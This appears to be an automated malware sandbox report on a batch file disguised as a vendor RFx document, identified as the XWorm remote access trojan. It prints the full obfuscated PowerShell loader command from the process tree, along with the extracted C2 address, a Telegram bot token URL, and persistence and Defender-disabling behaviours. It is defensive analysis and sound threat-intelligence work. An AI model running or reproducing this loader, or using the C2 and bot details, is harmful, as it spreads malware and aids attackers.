Analysis
- max time kernel
149s - max time network
146s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
29/10/2025, 11:11
General
- Target SPE-2025010-WA001310_pdf/RFx Description RRP21-0380 Invited Vendor_IMG.bat
- Size 122KB
- Sample251029-m98ncafr6y
- SHA256 84bc64c5f0b3e217896ebecb8b6d434d0c8fb4c33aa87125b3b8e2062aa283d5
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
XWorm V6.4
C2
-
178.16.55.129:6333
Mutex
-
o6MhfpGjJ5FpV4Wz
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
-
telegram
https://api.telegram.org/bot7409572452:AAGp8Ak5bqZu2IkEdggJaz2mnMYRTkTjv-U/sendMessage?chat_id=6870183115
aes.plain
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 4 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFx Description RRP21-0380 Invited Vendor_IMG.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFx Description RRP21-0380 Invited Vendor_IMG.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFx Description RRP21-0380 Invited Vendor_IMG.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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'.Replace('bgjcrpkspwke','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_z2yntssr.oot.ps1
XClient.exe
aoc.bat
memory/1420-24-0x000001DA793A0000-0x000001DA793B0000-memory.dmp
memory/1420-10-0x000001DA793A0000-0x000001DA793B0000-memory.dmp
memory/1420-2-0x000001DA793A0000-0x000001DA793B0000-memory.dmp
memory/1420-12-0x000001DA793A0000-0x000001DA793B0000-memory.dmp
memory/1420-13-0x000001DA79390000-0x000001DA79398000-memory.dmp
memory/1420-14-0x000001DA79800000-0x000001DA7980E000-memory.dmp
memory/1420-16-0x000001DA79810000-0x000001DA79820000-memory.dmp
memory/1420-1-0x000001DA793A0000-0x000001DA793B0000-memory.dmp
memory/1420-25-0x000001DA793A0000-0x000001DA793B0000-memory.dmp
memory/1420-40-0x000001DA79F60000-0x000001DA79F6E000-memory.dmp
memory/1420-39-0x000001DA79DB0000-0x000001DA79F58000-memory.dmp
memory/1420-37-0x000001DA79CA0000-0x000001DA79CAE000-memory.dmp
memory/1420-3-0x000001DA79570000-0x000001DA79592000-memory.dmp
memory/1420-33-0x000001DA793A0000-0x000001DA793B0000-memory.dmp
memory/1420-34-0x000001DA793A0000-0x000001DA793B0000-memory.dmp
memory/6012-35-0x0000026874AC0000-0x0000026874AD0000-memory.dmp
memory/6012-36-0x0000026874AC0000-0x0000026874AD0000-memory.dmp
memory/6012-23-0x0000026874AC0000-0x0000026874AD0000-memory.dmp
memory/6012-32-0x0000026874B60000-0x0000026874BA6000-memory.dmp
memory/6012-22-0x0000026874AC0000-0x0000026874AD0000-memory.dmp